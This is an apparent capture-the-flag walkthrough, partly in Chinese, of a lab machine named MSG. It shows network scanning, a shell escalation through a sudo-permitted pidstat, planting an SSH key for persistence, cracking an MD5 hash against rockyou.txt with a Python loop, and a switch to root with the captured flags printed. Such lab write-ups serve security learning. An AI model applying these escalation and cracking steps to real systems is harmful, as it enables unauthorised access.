3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.873 seconds (136.68 hosts/sec). 3 responded
┌──(kali㉿kali)-[~] └─$ ip=192.168.56.105
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -sV -A -p- $ip Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-25 03:58 EST Nmap scan report for 192.168.56.105 Host is up (0.00081s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 62:8e:95:58:1e:ee:94:d1:56:0e:e5:51:f5:45:38:43 (RSA) | 256 45:a8:7e:56:7f:df:b0:83:65:6c:88:68:19:a4:86:6c (ECDSA) |_ 256 bc:54:24:a6:0a:8b:6d:34:dc:a6:ab:80:98:ee:1f:f7 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) | http-title: Login |_Requested resource was /login?next=%2F |_http-server-header: Apache/2.4.54 (Debian) MAC Address: 08:00:27:D8:D9:35 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.81 ms 192.168.56.105
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds
sudo -l Matching Defaults entries for www-data on MSG: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on MSG: (messagemaster) NOPASSWD: /bin/pidstat sudo -u messagemaster /bin/pidstat -e /bin/bash -i Linux 5.10.0-19-amd64 (MSG) 11/25/24 _x86_64_ (1 CPU)
09:31:11 UID PID %usr %system %guest %wait %CPU CPU Command 09:31:11 1000 954 0.00 0.00 0.00 0.00 0.00 0 pidstat id uid=1000(messagemaster) gid=1000(messagemaster) groups=1000(messagemaster),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth) cd ~ ls User.txt cat User.txt ea86091a17126fe48a83c1b8d13d60ab
这样就成功提权到普通用户了,这里我先把我的公钥写到靶机里面,拿到一个稳定的shell好一点
Root提权
同时这个messagemaster也具有sudo权限
1 2 3 4 5 6
sudo -l Matching Defaults entries for messagemaster on MSG: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User messagemaster may run the following commands on MSG: (ALL) NOPASSWD: /bin/md5sum
import hashlib for l inopen("rockyou.txt", encoding="utf-8", errors="ignore"): if hashlib.md5((l.strip()+"\n").encode()).hexdigest() == "85c73111b30f9ede8504bb4a4b682f48": print(l)
切换到root用户
1 2 3 4 5 6
messagemaster@MSG:/var/www$ su -l root Password: root@MSG:~# ls Root.txt root@MSG:~# cat Root.txt a59b23da18102898b854f3034f8b8b0f